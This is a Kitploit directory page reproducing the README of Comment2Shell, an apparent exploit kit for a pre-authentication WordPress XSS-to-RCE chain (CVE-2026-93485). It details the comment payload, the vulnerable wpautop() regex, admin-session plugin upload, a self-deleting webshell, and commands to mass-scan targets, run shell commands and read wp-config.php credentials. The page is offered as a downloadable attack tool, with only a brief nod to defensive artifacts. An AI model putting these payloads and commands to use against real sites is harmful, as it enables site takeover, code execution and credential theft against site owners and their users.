Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Comment2Shell — Zero-click pre-auth WordPress CVE-2026-93485 exploit chain: stored XSS in wpautop() escalates to admin-session plugin upload and a self-deleting webshell, with scanner, shell, and Nuclei template. | Kitploit
도구/GitHubGitHub/deathshotxd/comment2shell
Vulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationSecurity VirtualizationWeb SecurityPenetration TestingRed TeamingPayload DevelopmentLabs & Practice
GitHubdeathshotxd/comment2shell

Comment2Shell

65153510일 전Kitploit 검토 완료

Zero-click pre-auth WordPress CVE-2026-93485 exploit chain: stored XSS in wpautop() escalates to admin-session plugin upload and a self-deleting webshell, with scanner, shell, and Nuclei template.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

Comment2Shell

Comment2Shell is an end-to-end proof-of-concept for CVE-2026-93485, a pre-authentication stored XSS in WordPress core wpautop() that escalates to remote code execution inside an administrator session. An anonymous comment plants the payload; when an admin opens the post, the browser uploads a webshell plugin, runs a command, and deletes the shell again. The whole chain is one dependency-free Python file.

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


What is Comment2Shell?

Comment2Shell is an exploit and local-lab kit for CVE-2026-93485. The bug lives in wp-includes/formatting.php, in the wpautop() paragraph filter that runs at display time on comment text. A newline inside a blockquote cite attribute becomes an HTML comment placeholder; the regex that wraps blockquotes stops at the first > and injects a paragraph tag into the middle of the attribute, which the browser then parses as an onfocus handler. The autofocus attribute fires it zero-click.

The tool covers the whole chain: a passive version scan, a benign XSS probe, the full pre-authentication to RCE exploit, an interactive shell, and a defensive IOC check.


The exploit needs no account, no nonce, and no interaction beyond the admin viewing the post. Comments only have to be open.


Comment2Shell - CVE-2026-93485

Why this matters

WordPress powers a large share of the web and wpautop() is core code, so the vulnerable filter ships on every affected install regardless of theme or plugin. The XSS is stored, pre-authentication, and zero-click. Because it executes in the admin session, it is more than a defacement bug: the admin cookie is enough to install a plugin, and installing a plugin is arbitrary code execution.

The fix shipped in WordPress 7.1.1 with backports across 25 branches, down to 4.7.36. Every release from 4.7.0 through 7.1.0 is affected.

Demo


Comment2Shell demonstration


Controlled-lab run against WordPress 7.1.0: an anonymous comment plants the payload, the admin opening the post fires the zero-click chain, the webshell uploads, the command output returns, and the shell deletes itself. The browser tab title reports the outcome, either Comment2Shell: shell uploaded or Comment2Shell: admin login required. See docker/README.md for the exact procedure.

Research contribution

Comment2Shell does not claim discovery of the flaw. It was reported by Rafie Muhammad (Awesome Motive) through the HackerOne WordPress program and fixed in 7.1.1. The contribution here is a reproducible, dependency-free implementation of the full chain:

  • the display-time filter conditions that let the payload survive KSES
  • an in-browser ZIP builder so the plugin upload needs no external file
  • automatic cleanup, where the webshell unlinks itself after the command
  • blue-team artifacts: a nuclei template, an IOC script, and log queries

Attack flow

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

Requirements

  • Comments open on a published post (default)
  • Anonymous commenting allowed (default, comment_registration=0)
  • A block theme active (default since Twenty Twenty-Two)
  • An admin who views the post while logged in
  • Python 3.8+ (standard library only)

Installation

git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Python 3.8+ standard library only, with no pip install.

Usage

Passive version scan

# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -dL targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

Each result object carries these fields:

FieldMeaning
targetthe normalized target URL
wordpresstrue when WordPress was detected
versionthe detected version, or null
version_methodhow the version was found, for example meta or readme
vulnerabletrue, false, or null when the version is unknown
post_ida commentable post ID, or null
erroran error string, or null

Active XSS probe

# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

Full exploit chain to command execution

The exploit payload fires alert("Comment2Shell XSS - CVE-2026-93485") on page load (zero-click via autofocus). View the post while logged in as admin. The tab title then reads Comment2Shell: shell uploaded on success, or Comment2Shell: admin login required if the browser has no admin session.

# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
도구 다운로드